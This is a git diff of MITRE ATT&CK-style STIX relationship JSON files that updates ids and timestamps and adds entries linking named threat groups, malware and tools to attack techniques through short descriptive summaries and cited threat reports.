-    "id": "bundle--5e63c86b-6c7d-4e07-8637-a464d29575fb",
+    "id": "bundle--a96c4815-939d-4973-ba10-bed9734d0ea1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3ebc8829-f260-4d75-817a-cd23a4ebb194",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Before being appended to image files, HAMMERTOSS commands are encrypted with a key composed of both a hard-coded value and a string contained on that day's tweet. To decrypt the commands, an investigator would need access to the intended malware sample, the day's tweet, and the image file containing the command.",
             "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4",
diff --git a/enterprise-attack/relationship/relationship--3ec34d16-a4e6-4fc7-b819-5a041605aa42.json b/enterprise-attack/relationship/relationship--3ec34d16-a4e6-4fc7-b819-5a041605aa42.json
index c35b584fe7..ed5c54f954 100644
--- a/enterprise-attack/relationship/relationship--3ec34d16-a4e6-4fc7-b819-5a041605aa42.json
+++ b/enterprise-attack/relationship/relationship--3ec34d16-a4e6-4fc7-b819-5a041605aa42.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--79c84edc-1d3a-49b8-a261-2cca2c2f4e27",
+    "id": "bundle--49d68391-fc69-446f-a78f-f53666714242",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3ec34d16-a4e6-4fc7-b819-5a041605aa42",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Janicab used a cron job for persistence on Mac devices .",
             "source_ref": "malware--234e7770-99b0-4f65-b983-d3230f76a60b",
diff --git a/enterprise-attack/relationship/relationship--3ef6a3fb-0d59-4ba5-b2d0-dc32d547b74f.json b/enterprise-attack/relationship/relationship--3ef6a3fb-0d59-4ba5-b2d0-dc32d547b74f.json
new file mode 100644
index 0000000000..13e5239a19
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--3ef6a3fb-0d59-4ba5-b2d0-dc32d547b74f.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--9432ad8d-1d4b-493b-90c2-9f6b2d074d93",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--3ef6a3fb-0d59-4ba5-b2d0-dc32d547b74f",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "FIN5 has used the open source tool Essential NetTools to map the network and build a list of targets.",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
+            "external_references": [
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--3ef89472-470c-42c9-be01-155efe607b78.json b/enterprise-attack/relationship/relationship--3ef89472-470c-42c9-be01-155efe607b78.json
index d94118dd5f..1f4183af88 100644
--- a/enterprise-attack/relationship/relationship--3ef89472-470c-42c9-be01-155efe607b78.json
+++ b/enterprise-attack/relationship/relationship--3ef89472-470c-42c9-be01-155efe607b78.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ab882cf5-b918-4f35-a8db-cf169808012a",
+    "id": "bundle--c5e9596d-86f2-46fd-8c5f-14e7fffc7054",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3ef89472-470c-42c9-be01-155efe607b78",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PoisonIvy contains a keylogger.",
             "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
diff --git a/enterprise-attack/relationship/relationship--3efe41c1-48be-48fc-90d8-5ae70df3cd97.json b/enterprise-attack/relationship/relationship--3efe41c1-48be-48fc-90d8-5ae70df3cd97.json
index 2c66338e0c..791f58dcfb 100644
--- a/enterprise-attack/relationship/relationship--3efe41c1-48be-48fc-90d8-5ae70df3cd97.json
+++ b/enterprise-attack/relationship/relationship--3efe41c1-48be-48fc-90d8-5ae70df3cd97.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9fc54f99-8c32-4b6c-8c62-a9aeba34383b",
+    "id": "bundle--ddcde25f-4905-4771-a13a-f0d768de53a4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3efe41c1-48be-48fc-90d8-5ae70df3cd97",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sakula contains UAC bypass code for both 32- and 64-bit systems.",
             "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
diff --git a/enterprise-attack/relationship/relationship--3f02c07f-663f-4c54-b7e0-c2b2dbe82335.json b/enterprise-attack/relationship/relationship--3f02c07f-663f-4c54-b7e0-c2b2dbe82335.json
index 663236f8f9..6dea8d13be 100644
--- a/enterprise-attack/relationship/relationship--3f02c07f-663f-4c54-b7e0-c2b2dbe82335.json
+++ b/enterprise-attack/relationship/relationship--3f02c07f-663f-4c54-b7e0-c2b2dbe82335.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1b146b6a-d862-4224-92f8-72fdb81b1a85",
+    "id": "bundle--f68a6fbf-fcfe-4815-9745-3339d503b387",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3f02c07f-663f-4c54-b7e0-c2b2dbe82335",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ZLib creates Registry keys to allow itself to run as various services.",
             "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
diff --git a/enterprise-attack/relationship/relationship--3f14994e-149d-4cca-85b8-eec0964120d3.json b/enterprise-attack/relationship/relationship--3f14994e-149d-4cca-85b8-eec0964120d3.json
index a38bd7a9ff..acf5772332 100644
--- a/enterprise-attack/relationship/relationship--3f14994e-149d-4cca-85b8-eec0964120d3.json
+++ b/enterprise-attack/relationship/relationship--3f14994e-149d-4cca-85b8-eec0964120d3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7f36dfac-8b44-423b-aa07-177953a56280",
+    "id": "bundle--e67e94d7-f5f1-487b-ad4c-fb56b2ff7c96",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3f14994e-149d-4cca-85b8-eec0964120d3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Adversaries can direct BACKSPACE to execute from the command-line on infected hosts, or have BACKSPACE create a reverse shell.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
diff --git a/enterprise-attack/relationship/relationship--3f327394-55be-4dac-8e79-93c49be0426a.json b/enterprise-attack/relationship/relationship--3f327394-55be-4dac-8e79-93c49be0426a.json
index 4639d39e86..05ad41da03 100644
--- a/enterprise-attack/relationship/relationship--3f327394-55be-4dac-8e79-93c49be0426a.json
+++ b/enterprise-attack/relationship/relationship--3f327394-55be-4dac-8e79-93c49be0426a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--eab03998-5e48-4b2d-ae35-93691da124e6",
+    "id": "bundle--45134d64-d6c0-421f-befd-b3dda659cde9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3f327394-55be-4dac-8e79-93c49be0426a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "3PARA RAT will sleep until after a date/time value loaded from a .dat file has passed. This allows the RAT to remain dormant until a set date, which could allow a means to regain access if other parts of the actors' toolset are removed from a victim.",
             "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a",
diff --git a/enterprise-attack/relationship/relationship--3f416bd3-a06f-4ec2-8cf6-4a84e0611c63.json b/enterprise-attack/relationship/relationship--3f416bd3-a06f-4ec2-8cf6-4a84e0611c63.json
index eeebcd470a..77ec693c61 100644
--- a/enterprise-attack/relationship/relationship--3f416bd3-a06f-4ec2-8cf6-4a84e0611c63.json
+++ b/enterprise-attack/relationship/relationship--3f416bd3-a06f-4ec2-8cf6-4a84e0611c63.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--25e8c772-b626-44e4-8fa9-8ac779af69ec",
+    "id": "bundle--8c768835-c7cb-4180-bd7c-c677c517c613",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3f416bd3-a06f-4ec2-8cf6-4a84e0611c63",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "xCmd can be used to execute binaries on remote systems by creating and starting a service.",
             "source_ref": "tool--4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b",
diff --git a/enterprise-attack/relationship/relationship--3f780c76-b5d5-43f9-b4f2-048106f00894.json b/enterprise-attack/relationship/relationship--3f780c76-b5d5-43f9-b4f2-048106f00894.json
index 120d12e5a3..757d395538 100644
--- a/enterprise-attack/relationship/relationship--3f780c76-b5d5-43f9-b4f2-048106f00894.json
+++ b/enterprise-attack/relationship/relationship--3f780c76-b5d5-43f9-b4f2-048106f00894.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--03a74504-a8d3-4e1a-95c5-d251fefe0489",
+    "id": "bundle--7449fc35-cdd6-49ba-a6e4-7f8755da2735",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3f780c76-b5d5-43f9-b4f2-048106f00894",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.047Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647",
             "target_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
diff --git a/enterprise-attack/relationship/relationship--3f8a74a9-55fe-4f9c-bddb-00b715ca3668.json b/enterprise-attack/relationship/relationship--3f8a74a9-55fe-4f9c-bddb-00b715ca3668.json
index 8ef812e79b..4077f033e7 100644
--- a/enterprise-attack/relationship/relationship--3f8a74a9-55fe-4f9c-bddb-00b715ca3668.json
+++ b/enterprise-attack/relationship/relationship--3f8a74a9-55fe-4f9c-bddb-00b715ca3668.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--65516d90-441c-4718-af41-dd86f7245c2f",
+    "id": "bundle--9cce116b-7993-41d5-9ad1-56e7eaec9cc5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3f8a74a9-55fe-4f9c-bddb-00b715ca3668",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves is launched through use of DLL search order hijacking to load a malicious dll.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
diff --git a/enterprise-attack/relationship/relationship--3f954be4-205c-4cec-92f9-36715e204a49.json b/enterprise-attack/relationship/relationship--3f954be4-205c-4cec-92f9-36715e204a49.json
index ec9d69b9e5..8bde854347 100644
--- a/enterprise-attack/relationship/relationship--3f954be4-205c-4cec-92f9-36715e204a49.json
+++ b/enterprise-attack/relationship/relationship--3f954be4-205c-4cec-92f9-36715e204a49.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--025c9ef7-4ebb-46f8-8a6f-9daeb6f8b26a",
+    "id": "bundle--e0df708f-fc8b-4491-b6ff-66dcc79e50d4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3f954be4-205c-4cec-92f9-36715e204a49",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.076Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Patchwork added the path of its second-stage malware to the startup folder to achieve persistence.",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
diff --git a/enterprise-attack/relationship/relationship--3fb836b7-41cf-40d1-bd56-14e45e6bbd02.json b/enterprise-attack/relationship/relationship--3fb836b7-41cf-40d1-bd56-14e45e6bbd02.json
new file mode 100644
index 0000000000..dd6278620e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--3fb836b7-41cf-40d1-bd56-14e45e6bbd02.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--b5d9c6b7-69f3-4e5c-9fe8-42e29e67cbd3",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--3fb836b7-41cf-40d1-bd56-14e45e6bbd02",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--3fe559f9-9bee-48ea-8a7c-7d65b63419ee.json b/enterprise-attack/relationship/relationship--3fe559f9-9bee-48ea-8a7c-7d65b63419ee.json
new file mode 100644
index 0000000000..ddae8cd6c0
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--3fe559f9-9bee-48ea-8a7c-7d65b63419ee.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--2acf5381-333c-4b27-8e68-e25a894de2b2",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--3fe559f9-9bee-48ea-8a7c-7d65b63419ee",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has used base64-encoded files that are dropped to victims.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--3fe9b64a-6435-4592-9181-2ad50ee93044.json b/enterprise-attack/relationship/relationship--3fe9b64a-6435-4592-9181-2ad50ee93044.json
index c99399a82a..e1e087617b 100644
--- a/enterprise-attack/relationship/relationship--3fe9b64a-6435-4592-9181-2ad50ee93044.json
+++ b/enterprise-attack/relationship/relationship--3fe9b64a-6435-4592-9181-2ad50ee93044.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b0d145a0-d044-4c38-90c7-a0d3461c7eb3",
+    "id": "bundle--6b2a5cf2-6025-4b00-938b-6ca9b6249b89",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3fe9b64a-6435-4592-9181-2ad50ee93044",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.069Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware IndiaIndia saves information gathered about the victim to a file that is uploaded to one of its 10 C2 servers.Lazarus Group malware RomeoDelta copies specified directories from the victim's machine, then archives and encrypts the directories before uploading to its C2 server.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--403863dd-5b73-4987-9397-e8c5b25041cc.json b/enterprise-attack/relationship/relationship--403863dd-5b73-4987-9397-e8c5b25041cc.json
index e75ea536c4..5e7ac2480c 100644
--- a/enterprise-attack/relationship/relationship--403863dd-5b73-4987-9397-e8c5b25041cc.json
+++ b/enterprise-attack/relationship/relationship--403863dd-5b73-4987-9397-e8c5b25041cc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2877beb3-fec3-44e4-bec3-b097e676d4db",
+    "id": "bundle--0c479730-94a8-47cd-a6ad-e4b2c7d0b12a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--403863dd-5b73-4987-9397-e8c5b25041cc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.023Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--da8a87d2-946d-4c34-9a30-709058b98996",
             "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2",
diff --git a/enterprise-attack/relationship/relationship--40772ec1-2f25-425f-aad5-635f64ba8fd2.json b/enterprise-attack/relationship/relationship--40772ec1-2f25-425f-aad5-635f64ba8fd2.json
index 05066e79f8..0136777068 100644
--- a/enterprise-attack/relationship/relationship--40772ec1-2f25-425f-aad5-635f64ba8fd2.json
+++ b/enterprise-attack/relationship/relationship--40772ec1-2f25-425f-aad5-635f64ba8fd2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b47d4333-6c54-4bf5-82e9-c75da2f9d48f",
+    "id": "bundle--c8db3820-00f2-4d85-9121-7c28b8148e74",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--40772ec1-2f25-425f-aad5-635f64ba8fd2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The DustySky dropper uses a function to obfuscate the name of functions and other parts of the malware.",
             "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
diff --git a/enterprise-attack/relationship/relationship--408db284-4c7a-4ad4-8399-90a8102b4bfa.json b/enterprise-attack/relationship/relationship--408db284-4c7a-4ad4-8399-90a8102b4bfa.json
new file mode 100644
index 0000000000..a9023a04ab
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--408db284-4c7a-4ad4-8399-90a8102b4bfa.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--ce4a703b-f369-49df-8e8d-96e774e26544",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--408db284-4c7a-4ad4-8399-90a8102b4bfa",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "POWRUNER may collect process information by running <code>tasklist</code> on a victim.",
+            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
+            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--40a8f80d-5497-4218-849c-3c0b63796641.json b/enterprise-attack/relationship/relationship--40a8f80d-5497-4218-849c-3c0b63796641.json
index 4fb3c4c518..ebfc8eb09d 100644
--- a/enterprise-attack/relationship/relationship--40a8f80d-5497-4218-849c-3c0b63796641.json
+++ b/enterprise-attack/relationship/relationship--40a8f80d-5497-4218-849c-3c0b63796641.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ff9ca310-f564-449c-a696-9c92c10f6094",
+    "id": "bundle--ff843957-441e-43f4-a0fd-4fd82740185e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--40a8f80d-5497-4218-849c-3c0b63796641",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CHOPSTICK may store RC4 encrypted configuration information in the Windows Registry.",
             "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
diff --git a/enterprise-attack/relationship/relationship--40c202ae-fd92-4506-b72a-5fb0e7bcf99a.json b/enterprise-attack/relationship/relationship--40c202ae-fd92-4506-b72a-5fb0e7bcf99a.json
index 7d4fb609fc..0d513d40c1 100644
--- a/enterprise-attack/relationship/relationship--40c202ae-fd92-4506-b72a-5fb0e7bcf99a.json
+++ b/enterprise-attack/relationship/relationship--40c202ae-fd92-4506-b72a-5fb0e7bcf99a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e7ef70bb-54f9-4e6b-9107-d68260efe73d",
+    "id": "bundle--1f25e2ba-6d09-46c5-b29c-fb6f79a35eb1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--40c202ae-fd92-4506-b72a-5fb0e7bcf99a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Trojan.Karagany samples sometimes use common binary packers such as UPX and Aspack on top of a custom Delphi binary packer.",
             "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
diff --git a/enterprise-attack/relationship/relationship--40c5a024-37db-478b-b90f-27f184bf8f60.json b/enterprise-attack/relationship/relationship--40c5a024-37db-478b-b90f-27f184bf8f60.json
index af28a0ae0c..7c795a8f3e 100644
--- a/enterprise-attack/relationship/relationship--40c5a024-37db-478b-b90f-27f184bf8f60.json
+++ b/enterprise-attack/relationship/relationship--40c5a024-37db-478b-b90f-27f184bf8f60.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--25d6f5f4-b2f4-4adf-96e1-e3c306532b74",
+    "id": "bundle--15f81c93-9168-4498-9683-86541a99e92f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--40c5a024-37db-478b-b90f-27f184bf8f60",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Tasklist can be used to discover services running on a system.",
             "source_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
diff --git a/enterprise-attack/relationship/relationship--41023c59-b41e-454a-ace2-cd98d4fedb8e.json b/enterprise-attack/relationship/relationship--41023c59-b41e-454a-ace2-cd98d4fedb8e.json
index 4f61fe5c2b..d4d66c4f37 100644
--- a/enterprise-attack/relationship/relationship--41023c59-b41e-454a-ace2-cd98d4fedb8e.json
+++ b/enterprise-attack/relationship/relationship--41023c59-b41e-454a-ace2-cd98d4fedb8e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b1e628f8-b8e5-4af9-a376-ac3264554d78",
+    "id": "bundle--f412d76a-7683-4f01-bb28-47bd55d3048e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--41023c59-b41e-454a-ace2-cd98d4fedb8e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mis-Type uses cmd.exe to run commands for enumerating the host.",
             "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
diff --git a/enterprise-attack/relationship/relationship--412b7fbf-bc21-4373-9f2c-5f0a26482536.json b/enterprise-attack/relationship/relationship--412b7fbf-bc21-4373-9f2c-5f0a26482536.json
index 1c7c722c87..6790ff932a 100644
--- a/enterprise-attack/relationship/relationship--412b7fbf-bc21-4373-9f2c-5f0a26482536.json
+++ b/enterprise-attack/relationship/relationship--412b7fbf-bc21-4373-9f2c-5f0a26482536.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--97a74f60-9a1e-429d-9f4d-68065ae4ef86",
+    "id": "bundle--3884eec0-1592-4990-a94a-ca8ff8414446",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--412b7fbf-bc21-4373-9f2c-5f0a26482536",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.062Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
             "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
diff --git a/enterprise-attack/relationship/relationship--41747c46-1dd1-418b-84e9-75710f17a10c.json b/enterprise-attack/relationship/relationship--41747c46-1dd1-418b-84e9-75710f17a10c.json
index 628255eca9..875ccd1816 100644
--- a/enterprise-attack/relationship/relationship--41747c46-1dd1-418b-84e9-75710f17a10c.json
+++ b/enterprise-attack/relationship/relationship--41747c46-1dd1-418b-84e9-75710f17a10c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fcf388c3-f070-412d-adfa-378ca4d3a6bc",
+    "id": "bundle--3823766b-94b7-41d3-a71e-26adbbe6cf02",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--41747c46-1dd1-418b-84e9-75710f17a10c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BLACKCOFFEE has the capability to create a reverse shell.",
